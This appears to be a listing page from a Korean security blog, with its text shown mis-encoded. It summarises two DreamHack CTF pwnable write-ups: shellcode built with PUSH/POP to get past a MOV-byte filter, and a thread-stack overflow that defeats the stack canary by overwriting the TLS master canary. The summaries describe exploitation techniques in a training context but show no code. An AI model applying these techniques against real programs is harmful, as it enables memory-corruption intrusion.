[๐Ÿฅ‰ Bronze 2] MOV ๊ณ„์—ด 30๋ฐ”์ดํŠธ๊ฐ€ ํ†ต์งธ๋กœ ๋ง‰ํžŒ ์…ธ์ฝ”๋“œ โ€” PUSH/POP ์œผ๋กœ ์ƒ์ˆ˜๋ฅผ ๋งŒ๋“ ๋‹ค โ€” DreamHack No mov ํ’€์ด

์…ธ์ฝ”๋“œ์— MOV ๊ณ„์—ด ๋ฐ”์ดํŠธ๊ฐ€ ํ•˜๋‚˜๋ผ๋„ ์žˆ์œผ๋ฉด ์‹คํ–‰์„ ๊ฑฐ๋ถ€ํ•˜๋Š” ๋ฌธ์ œ. ๋ง‰ํžŒ ๊ฑด ๋ช…๋ น์–ด ์ด๋ฆ„์ด ์•„๋‹ˆ๋ผ 0x88~0x8Cยท0xA0~0xA5ยท0xB0~0xBFยท0xC6ยท0xC7 ๋ผ๋Š” 30๊ฐœ์˜ ๋ฐ”์ดํŠธ ๊ฐ’์ด๋ผ, ModRM ๊ณผ immediate ๊นŒ์ง€ ๊ฐ™์ด ๊ฑธ๋ฆฐ๋‹ค. PUSH imm ์œผ๋กœ ์ƒ์ˆ˜๋ฅผ ์Šคํƒ์— ๋†“๊ณ  POP ์œผ๋กœ ๋ฐ›์•„ 42๋ฐ”์ดํŠธ open/read/write ์…ธ์ฝ”๋“œ๋ฅผ ๋งŒ๋“ค์—ˆ๋‹ค.
#dreamhack#ctf#pwnable+5
2026-08-10#dreamhack +4
[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด
blog

[๐Ÿฅˆ Silver 3] ์นด๋‚˜๋ฆฌ ์›๋ณธ์ด ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ๋‹ค โ€” DreamHack Master Canary(mc_thread) ํ’€์ด

์Šค๋ ˆ๋“œ ์•ˆ์—์„œ ์Šคํƒ ๋ฒ„ํผ๋ฅผ ์œ„๋กœ ๋ฌด์ œํ•œ ๋ฎ์–ด์“ธ ์ˆ˜ ์žˆ๋Š” pwnable. ์นด๋‚˜๋ฆฌ๋ฅผ ์œ ์ถœํ•  ๋ฐฉ๋ฒ•์ด ์—†์–ด ๋ณด์ด์ง€๋งŒ, ์‚ฌ์‹ค ์œ ์ถœํ•  ํ•„์š”๊ฐ€ ์—†๋‹ค. ๊ฒ€์‚ฌ์— ์“ฐ์ด๋Š” ์›๋ณธ(TLS์˜ fs:0x28)์ด ๋„˜์น˜๋Š” ๋ฒ„ํผ์™€ ๊ฐ™์€ ์Šค๋ ˆ๋“œ ์Šคํƒ ์•ˆ์— ์žˆ์–ด์„œ, ์Šคํƒ ๋ณต์‚ฌ๋ณธ๊ณผ ์›๋ณธ์„ ๊ฐ™์€ ๊ฐ’์œผ๋กœ ํ•จ๊ป˜ ๋ฎ์œผ๋ฉด ๊ฒ€์‚ฌ๋ฅผ ํ†ต๊ณผํ•œ๋‹ค. ๋‹ค๋งŒ ๊ทธ ์‚ฌ์ด์— ๋†“์ธ TCB ํ•„๋“œ๋ฅผ ๊ทธ๋ƒฅ ๋ญ‰๊ฐœ๋ฉด ๋‹ค์Œ read()๊ฐ€ ์ฃฝ๋Š”๋‹ค.
#dreamhack#ctf#pwnable+6
2026-07-28#dreamhack +4